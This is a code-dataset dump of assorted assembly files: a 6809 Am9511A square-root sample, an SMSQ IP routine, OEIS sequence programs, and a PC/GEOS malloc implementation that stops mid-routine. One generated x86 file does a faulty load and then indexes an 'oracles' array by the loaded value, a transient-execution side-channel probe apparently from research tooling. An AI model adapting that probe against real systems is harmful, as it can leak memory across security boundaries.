] | null | null | null | Am9511A-AddonBoard/TestProgram/c95example/c95example.asm | ja1umi/MUTIF09Project | 8bc8d34c46acbf44be59e1373d2c004a2777db1f | [
"MIT"
] | null | null | null | * Am9511A sample program to calculate square root of 2
*
* make sure to connect RESET pin of Am9511A to PC0 pin of 8255A
*
APUDA EQU $B004
APUCS EQU $B005
PPIPA EQU $B010
PPIPB EQU $B011
PPIPC EQU $B012
PPICS EQU $B013
*
CMD_FLTD EQU $1C ;32-bit fixed point to 32-bit floating point
CMD_SQRT EQU $01
*
ORG $7800
*
START BSR INIT
LEAX C2,PCR ;load (push) 32-bit fixed point constant 2 onto the stack
BSR LOAD
BSR FLTD
BSR SQRT
LEAX RESULT,PCR ;Pop the result from the stack and store it
BSR STORE
RTS
*
* Send command word and wait for the completion of the command
* On entry: A = command word
* On return: Accumulator A is altered by the subroutine
EXEC STA APUCS
WAIT LDA APUCS
BITA #%10000000 ;check for busy flag
BNE WAIT ;wait for completion of command execution
RTS ;return status in accumulator A
*
* 32-bit fixed point intger operand A at the TOS is converted to a 32-bit floating point number
*
FLTD LDA #CMD_FLTD
BRA EXEC
*
* 32-bit floaring point operand A at the TOS is replaced by the 32-bit floating point sqrt(2)
*
SQRT LDA #CMD_SQRT
BRA EXEC
*
* APU initialization
* On entry: no parameters required
* On return: Accumulator A and index register X are altered by the subroutine
*
INIT LDA #$80 ;condifure 8255A Port A, B and C (Px0 - Px7) for output
STA PPICS
LDA #$01 ;enter BSR mode. make PC0 high for resetting Am9511A
STA PPICS ;RESET must be high for at least 5 CLK periods, as per datasheet of Am9511A
TFR X,X ;wait for 18 (= 6 x 3) cycles before end of reset
TFR X,X ;(assuming that E Clock from 6809 is fed to the CLK pin of Am9511A by default)
TFR X,X
CLRA ;make PC0 low. end of reset. The stack pointer of Am9511 is now (re-)initialized
STA PPICS
RTS
*
* Load APU stack
* On entry: X = pointer to the floating point constant or variable
* On return: Accumulator A is altered by the subroutine
*
LOAD LEAX 4,X
LDA ,-X
STA APUDA
LDA ,-X
STA APUDA
LDA ,-X
STA APUDA
LDA ,-X
STA APUDA
RTS
*
* Read data from APU stack and store them
* On entry: X = pointer to the floatinig point variable
* On return: Accumulator A is altered by the subroutine
*
STORE LDA APUDA
STA ,X+
LDA APUDA
STA ,X+
LDA APUDA
STA ,X+
LDA APUDA
STA ,X+
RTS
*
C2 FCB 0, 0, 0, 2 ;2 (32-bit fixed point)
RESULT RMB 4 ;(32-bit floating point)
*
END
| 24.752688 | 95 | 0.722415 |
e00695d6b3893ae78199e625cb99cfdc38869556 | 619 | asm | Assembly | smsq/java/ip/cnam.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | smsq/java/ip/cnam.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | smsq/java/ip/cnam.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | ; Setup name of IP channel V1.02 2004 Marcel Kilgus
; 1.02 check for UDP channel 2020 W. Lenerz
; v.1.01 adapted for SMSQmulator
section ip
xdef ip_cnam
xref udp_name
xref udd_name
include 'dev8_keys_java'
include 'dev8_smsq_java_ip_data'
ip_cnam move.l d3,-(a7)
moveq #-jt9.cnm,d0 ; presume UDP
move.l udp_name,d3
cmp.l chn_typ(a0),d3
beq.s cont
move.l udd_name,d3
cmp.l chn_typ(a0),d3 ; checfor UDD
beq.s cont
moveq #jt9.cnm,d0 ; but it isn't, so it's tcp
cont move.l (sp),d3
move.l a0,(sp)
move.l chn_data(a0),a0 ; internal data
dc.w jva.trp9
move.l (sp)+,a0
rts
end
| 18.205882 | 58 | 0.681745 |
1efecf6664f1c19ecfccfb239daee06c4522a5ab | 56 | asm | Assembly | original version (1984)/asm/map03-init.asm | fa8ntomas/bclk-samples | 6e7f054eb4b96ca011ffb2ea49226146b001274b | [
"MIT"
] | null | null | null | original version (1984)/asm/map03-init.asm | fa8ntomas/bclk-samples | 6e7f054eb4b96ca011ffb2ea49226146b001274b | [
"MIT"
] | null | null | null | original version (1984)/asm/map03-init.asm | fa8ntomas/bclk-samples | 6e7f054eb4b96ca011ffb2ea49226146b001274b | [
"MIT"
] | null | null | null | lda #$03
sta MapVar1
rts | 18.666667 | 24 | 0.321429 |
9c1beddba8924d7452ca1da231f0e3859d769a9c | 499 | asm | Assembly | oeis/019/A019678.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/019/A019678.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/019/A019678.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A019678: Decimal expansion of Pi/11.
; Submitted by Jon Maiga
; 2,8,5,5,9,9,3,3,2,1,4,4,5,2,6,6,5,8,0,4,2,0,5,8,4,8,9,3,8,9,0,4,5,7,1,6,7,4,5,1,9,7,2,1,8,1,2,5,0,0,9,6,2,0,0,8,8,6,3,1,3,2,6,5,7,3,4,3,7,8,5,5,1,1,6,9,2,8,0,9,0,7,8,4,3,6,6,8,0,2,3,0,3,8,2,8,8,2,4,3
add $0,1
mov $2,1
mov $3,$0
mul $3,5
lpb $3
mul $1,$3
mov $5,$3
mul $5,2
add $5,1
mul $2,$5
add $1,$2
div $1,$0
div $2,$0
sub $3,1
lpe
mul $1,4
div $1,22
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mov $0,$1
mod $0,10
| 17.821429 | 201 | 0.527054 |
b2bf62eea11f70425fb44ccc593a0f5df011c306 | 88 | asm | Assembly | Source/Assembly/foo.asm | 0xvpr/CPP-Cheat-Template | 26ad1665a903f67aced42df13f3b9c116fed26dc | [
"MIT"
] | 1 | 2022-03-29T04:46:48.000Z | 2022-03-29T04:46:48.000Z | Source/Assembly/foo.asm | 0xvpr/HM3Trainer | 0f2fa64b7e89546155f1bd5d166d6caa5cf76b0a | [
"MIT"
] | null | null | null | Source/Assembly/foo.asm | 0xvpr/HM3Trainer | 0f2fa64b7e89546155f1bd5d166d6caa5cf76b0a | [
"MIT"
] | 1 | 2021-12-29T21:09:30.000Z | 2021-12-29T21:09:30.000Z | ;.code
;foo proc
;xor eax, eax
;mov eax, 045h
;ret
;foo endp
;end
| 8.8 | 22 | 0.488636 |
03dabad0afc227e4f4e7ce3e5cdb52007570c76e | 736 | asm | Assembly | oeis/025/A025748.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/025/A025748.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/025/A025748.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A025748: 3rd order Patalan numbers (generalization of Catalan numbers).
; Submitted by Christian Krause
; 1,1,3,15,90,594,4158,30294,227205,1741905,13586859,107459703,859677624,6943550040,56540336040,463630755528,3824953733106,31724616256938,264371802141150,2212374554760150,18583946259985260,156636118477018620,1324287183487521060,11227652207828982900,95435043766546354650,813106572890974941618,6942679199299862963046,59398477594009938683838,509129807948656617290040,4371493868248810265697240,37594847266939768284996264,323800781299126391357871048,2792781738704965125461637789
trn $0,1
seq $0,97188 ; G.f. A(x) satisfies A057083(x*A(x)) = A(x) and so equals the ratio of the g.f.s of any two adjacent diagonals of triangle A097186.
| 105.142857 | 473 | 0.858696 |
38f0b00ba9eff6adf7363e14f3a4461d2a010788 | 7,543 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_ht_/i3-7100_9_0xca_notsx.log_17353_1662.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_ht_/i3-7100_9_0xca_notsx.log_17353_1662.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_ht_/i3-7100_9_0xca_notsx.log_17353_1662.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r14
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x1cf94, %rbp
nop
nop
nop
nop
add $16286, %r11
mov $0x6162636465666768, %r14
movq %r14, (%rbp)
nop
nop
nop
nop
xor $13521, %rdi
lea addresses_UC_ht+0x18e0a, %r8
sub $11810, %rdi
mov (%r8), %ebp
nop
nop
nop
nop
xor %r14, %r14
lea addresses_normal_ht+0x652, %rsi
lea addresses_D_ht+0x5a2, %rdi
nop
nop
nop
nop
cmp $43419, %r13
mov $127, %rcx
rep movsw
nop
nop
nop
and $23752, %rsi
lea addresses_D_ht+0x1c0ff, %r13
nop
nop
nop
sub %rbp, %rbp
movl $0x61626364, (%r13)
nop
cmp $27144, %rsi
lea addresses_UC_ht+0x1a79c, %r14
nop
nop
nop
nop
inc %r8
mov $0x6162636465666768, %rsi
movq %rsi, %xmm5
movups %xmm5, (%r14)
nop
nop
and %r11, %r11
lea addresses_normal_ht+0x14852, %rsi
lea addresses_D_ht+0x17a1f, %rdi
nop
xor $2870, %rbp
mov $10, %rcx
rep movsw
nop
sub $14811, %r8
lea addresses_WT_ht+0x17852, %r13
nop
xor $17513, %rdi
mov (%r13), %r11w
nop
nop
sub $12686, %rcx
lea addresses_normal_ht+0xde52, %r11
nop
nop
nop
nop
nop
dec %rcx
movb (%r11), %r13b
nop
cmp $46812, %r11
lea addresses_normal_ht+0x2f52, %rdi
sub $37376, %r13
movw $0x6162, (%rdi)
cmp %rdi, %rdi
lea addresses_WT_ht+0x13862, %rcx
nop
nop
nop
nop
nop
sub $26107, %r14
mov $0x6162636465666768, %rbp
movq %rbp, (%rcx)
nop
nop
nop
nop
nop
xor %r13, %r13
lea addresses_D_ht+0x6fb6, %rsi
lea addresses_A_ht+0xa4fc, %rdi
nop
nop
nop
nop
cmp %r11, %r11
mov $90, %rcx
rep movsw
dec %rdi
lea addresses_WT_ht+0x9252, %rsi
lea addresses_A_ht+0x1e852, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
xor $49194, %r13
mov $117, %rcx
rep movsw
nop
nop
nop
xor %r14, %r14
lea addresses_A_ht+0x1da52, %rsi
nop
add %rdi, %rdi
mov $0x6162636465666768, %rcx
movq %rcx, %xmm6
movups %xmm6, (%rsi)
nop
nop
xor $56368, %r14
lea addresses_UC_ht+0xe052, %rbp
nop
nop
cmp %r11, %r11
movb (%rbp), %r13b
nop
nop
and %r8, %r8
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r14
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r15
push %r9
push %rcx
push %rdi
push %rdx
// Faulty Load
mov $0x852, %r15
nop
nop
nop
cmp %r9, %r9
vmovntdqa (%r15), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %rdi
lea oracles, %r10
and $0xff, %rdi
shlq $12, %rdi
mov (%r10,%rdi,1), %rdi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_P', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': True, 'type': 'addresses_P', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': True}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}}
{'src': {'same': False, 'congruent': 8, 'NT': True, 'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}}
{'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'44': 397, '46': 2966, '49': 13990}
49 46 46 49 49 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 46 44 46 46 49 49 49 46 46 49 49 49 46 49 49 49 49 49 49 49 49 46 49 49 46 49 46 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 46 49 49 49 49 49 46 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 46 49 46 49 49 46 46 49 49 49 46 49 49 46 46 46 49 49 49 49 49 46 49 49 46 49 46 49 49 46 49 46 44 46 49 49 46 49 49 49 49 46 49 46 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 46 49 49 49 46 49 49 49 49 46 49 49 49 49 46 49 49 49 49 49 49 49 46 49 49 49 49 49 49 46 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 46 49 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 46 49 49 49 49 46 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 46 46 49 49 49 49 49 49 49 49 46 49 49 49 49 49 46 46 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 46 49 46 49 49 49 49 49 46 46 49 49 49 46 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 46 46 46 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 49 49 49 49 49 46 49 49 46 49 49 49 49 46 49 49 49 44 49 44 49 49 49 49 49 49 49 49 49 49 46 49 49 49 46 49 49 49 46 49 46 49 49 49 49 49 49 46 49 49 49 49 46 46 49 49 46 46 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 44 46 46 46 49 49 49 49 46 49 49 46 49 49 49 46 46 49 49 49 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 46 46 49 49 49 49 49 49 49 49 49 49 46 49 49 44 49 46 49 49 46 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 46 49 49 49 49 49 49 49 46 49 49 49 49 46 49 49 49 49 49 49 49 49 46 46 49 49 46 46 46 49 49 49 49 49 49 49 49 49 46 49 49 49 44 49 49 49 46 49 49 49 49 49 49 46 46 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 46 49 49 46 49 46 49 49 49 49 49 49 46 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 49 46 46 49 49 49 49 49 49 49 49 49 49 49 46 46 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 49 49 46 49 49 46 44 49 46 49 49 46 44 49 49 46 49 46 46 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 46 46 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 46 46 46 46 46 46 46 46 46 49 49 49 49 46 46 49 49 46 49 49 49 49 49 49 49 46 49 49 49 49 49 49 49 49 46 49 49 49 49 49 49 46 44 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 46 49 49 46 49 49 49 49 49 49 49 49 49 49 49 49 46 49 49 49 49 46 49 49 49 49 46 49 46 49 44 49 49 49 49 49 44 44 49 46 44 49 46 46 46 46 44 49 46 49 49 49 44 44 49 46 49 46 46 46 49 46 46 46 49 49 44 49 49 49 49 49 46 46 49 44 44 44 44 49 49 46 49 44 46 46 44 46 46 46 46 46 44 49 49 49 46 46 49 46 44 49 49 46 46 49 46 49 49 46 49 44 44 49 49 46 49 46 44 49 49 49 49 46 46 49 49 46 46 49 49 49 46 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 46
*/
| 35.083721 | 2,999 | 0.657431 |
682438fe761d16eec5e80d13475f1c064ba0d83d | 21,120 | asm | Assembly | Library/AnsiC/malloc_asm.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/AnsiC/malloc_asm.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/AnsiC/malloc_asm.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1991 -- All Rights Reserved
PROJECT: PC/GEOS
MODULE: AnsiC library
FILE: malloc_asm.asm
AUTHOR: Andrew Wilson, Sep 17, 1991
ROUTINES:
Name Description
---- -----------
_Malloc allocs fixed memory
_ReAlloc resizes fixed memory
_Free frees fixed memory
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/17/91 Initial revision
schoon 6/11/92 Revised for ANSI C standards
DESCRIPTION:
This file contains the PC/GEOS implementations of the C routines
malloc(), calloc(), realloc(), cfree(), and free().
NOTES:
There are 2 allocation strategies used by this code. If the block size
is below MALLOC_LARGE_THRESHOLD, then it is allocated in one of the
fixed LMem heaps kept for this purpose. If the block size is above
the threshold, then the memory is allocated in a global memory block
by itself. Since the pointer to memory returned by the "large" strategy
is below any of the valid pointers returned by the "small" strategy
(due to the fact that the small blocks all lie beyond the
LMemBlockHeader at the start of the lmem blocks, while the large
blocks all lie at LARGE_BLOCK_OFFSET, which is less than the
LMemBlockHeader), we are able to tell which type of block it is just
by looking at the address.
When we free these blocks, we have a different strategy for each.
When we free a large block, we just call MemFree on the block. If
it is a small block, we free the chunk, and then check to see if that
LMem block is now empty. If it isn't, we just exit. If it is, we scan
through the list of lmem blocks to see if it is the only lmem block.
if it isn't, we free it up (so we have at most one empty lmem block
hanging around per geode).
In the GeodePrivData for each geode we keep 2 words - the first one
is the handle of a block containing a list of handles of lmem blocks
used for the small allocation scheme. The second one is the handle
of a block containing a list of handles of global memory blocks
containing blocks allocated via the large allocation scheme.
The format of these blocks is as follows:
word numberOfEntriesInList ;This includes any empty slots
word entry1
word entry2
word entry3
.
.
.
$Id: malloc_asm.asm,v 1.1 97/04/04 17:42:12 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
include ansicGeode.def
;RESIDENT segment word public 'CODE'
;MAINCODE segment word public 'CODE'
MAINCODE segment public 'CODE'
.model medium, pascal
GeodePrivReadOneWord proc near ;Returns value in CX
mov cx, 1 ;Read one word
push ax
segmov ds, ss
mov si, sp ;DS:SI <- ptr to word on stack
call GeodePrivRead
pop cx ;
ret
GeodePrivReadOneWord endp
GeodePrivWriteOneWord proc near ;Pass value to write in CX
push cx
mov cx, 1 ;Write one word
segmov ds, ss
mov si, sp ;DS:SI <- ptr to word on stack
call GeodePrivWrite
pop cx ;
ret
GeodePrivWriteOneWord endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
AddHandleToMallocList
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Adds a handle to the associated list of handles.
CALLED BY: GLOBAL
PASS: ds:[LMBH_handle] - handle to add
bx - geode whose privData we should use
di - offset to pass to GeodePrivRead/GeodePrivWrite
RETURN: carry set if error
DESTROYED: bx, cx, dx, di, si
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/18/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SLOT_INCREMENT equ 8
AddHandleToMallocList proc near uses ds, es, bp, ax
.enter
; Read in the handle of the block containing the list of blocks
mov dx, ds:[LMBH_handle]
call GeodePrivReadOneWord
jcxz doMalloc ;If no block, allocate a new one
; Scan through the block looking for an empty slot to store the new
; handle.
mov bx, cx
call MemLock
mov es, ax
scanTop:
mov di, 2
mov cx, es:[0] ;CX <- # items in block
clr ax
repne scasw ;Look for an empty spot
jne reAlloc ;Branch if no empty slots found
mov es:[di][-2], dx ;Save handle in empty slot
clc ;Signify no errors
unlockExit:
call MemUnlock ;Unlock the block
exit:
.leave
ret
reAlloc:
; No empty slots found, so reallocate the block bigger (create some).
mov ax, es:[0]
inc ax ;AX <- # words in block currently
shl ax, 1 ;AX <- # bytes in block
add ax, SLOT_INCREMENT*2 ;Add room for 8 more slots
mov ch, mask HAF_ZERO_INIT
call MemReAlloc
jc unlockExit ;If error reallocing, branch
mov es, ax
add {word} es:[0], SLOT_INCREMENT ;
jmp scanTop
doMalloc:
; ALLOCATE A NEW BLOCK TO HOLD DATA
mov bp, bx ;BP <- geode handle
mov ax, SLOT_INCREMENT*2 ;
mov cx, ALLOC_DYNAMIC_LOCK or mask HF_SHARABLE or (mask HAF_ZERO_INIT shl 8)
call MemAllocSetOwnerOrDefault
jc exit ;If we could not allocate the block,
; branch.
mov es, ax ;
mov {word} es:[0], SLOT_INCREMENT-1;
mov cx, bx ;
mov bx, bp ;BX <- GeodeHandle
call GeodePrivWriteOneWord ;Store the handle in the GeodePrivData
mov bx, cx ; area.
jnc scanTop ;If no error, branch
call MemFree ;Else, free up this block and exit.
stc
jmp exit
AddHandleToMallocList endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RemoveHandleFromMallocList
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Removes a handle from the associated list of handles.
CALLED BY: GLOBAL
PASS: ds:[LMBH_handle] - handle to remove
bx - geode whose privData we should use
di - offset to pass to GeodePrivRead/GeodePrivWrite
RETURN: nothing
DESTROYED: ax, bx, cx, dx, di, si
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/18/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RemoveHandleFromMallocList proc near uses es, ds
.enter
; Read in the handle of the block containing the list of blocks
mov dx, ds:[LMBH_handle]
call GeodePrivReadOneWord
EC < jcxz nullError ;If no block, allocate a new one >
; Scan through the block looking for the passed handle.
mov bx, cx
call MemLock
mov es, ax
mov di, 2
mov cx, es:[0] ;CX <- # items in block
mov ax, dx
repne scasw ;Look for an empty spot
EC < ERROR_NZ HANDLE_NOT_FOUND_IN_LIST_OF_MALLOC_BLOCKS >
mov {word} es:[di][-2], 0 ;Nuke handle
call MemUnlock
.leave
ret
EC <nullError: >
EC < ERROR FREE_CALLED_BEFORE_MALLOC >
RemoveHandleFromMallocList endp
if ERROR_CHECK
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ECCountFreeBlocksOnMallocList
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Counts total number of malloc heaps with no items
CALLED BY: _Free
PASS: bx - geode whose privData we should use
di - offset to pass to GeodePrivRead/GeodePrivWrite
RETURN: dx - # free blocks
DESTROYED: ax, bx, cx, di, si, ds, es
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/18/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ECCountFreeBlocksOnMallocList proc near
.enter
; Read in the handle of the block containing the list of blocks
call GeodePrivReadOneWord
jcxz nullError ;If no block, fail
; Traverse the block counting the # empty blocks
mov bx, cx
call MemLock
push bx
mov ds, ax
mov si, 2
mov cx, ds:[0] ;CX <- # items in block
clr dx
findNext:
lodsw
tst ax
jz next
xchg ax, bx
call MemDerefES
cmp es:[LMBH_totalFree], MALLOC_SMALL_BLOCK_SIZE - size LMemBlockHeader
jne next ;If not empty, branch
inc dx ;Else, increment count of empty blocks
next:
loop findNext
pop bx
call MemUnlock ;
.leave
ret
nullError:
ERROR FREE_CALLED_BEFORE_MALLOC
ECCountFreeBlocksOnMallocList endp
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
AllocInSmallList
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Traverses the list of lmem blocks and tries to allocate
the passed # bytes in each one until it is successful
CALLED BY: GLOBAL
PASS: bx - geode whose privData we should use
cx - # bytes to allocate
RETURN: ds:ax <- pointer to block allocated
carry set if unsuccessful
DESTROYED: ax, bx, cx, di, si, ds
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 9/18/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
AllocInSmallList proc near
.enter
; Read in the handle of the block containing the list of blocks
mov dx, cx ;DX <- size
push ds
NOFXIP< segmov ds, dgroup, di >
FXIP < push bx >
FXIP < mov bx, handle dgroup >
FXIP < call MemDerefDS ; ds = dgroup >
FXIP < pop bx >
mov di, ds:[mallocOffset] ;
pop ds
call GeodePrivReadOneWord
stc
jcxz exit ;If no blocks allocated, exit
; Traverse the block and attempt to allocate in each one (ignoring
; empty slots).
mov bx, cx
mov cx, dx ;CX <- # bytes to allocate
push bx
call MemLock
mov ds, ax
mov si, 2
mov dx, ds:[0] ;CX <- # items in block
findNext:
lodsw
tst ax
jz next ;If handle is null, branch (empty slot)
mov di, ds ;.
xchg ax, bx ;BX <- handle of this lmem block
call MemDerefDS ;DS <- segment of this lmem block
call LMemAlloc ;Try to allocate here
jnc success ;Branch if no error allocating
mov ds, di ;
next:
dec dx ;Decrement # handles to try
jnz findNext ;
stc ;Unsuccessful, so unlock and exit w/carry set
success:
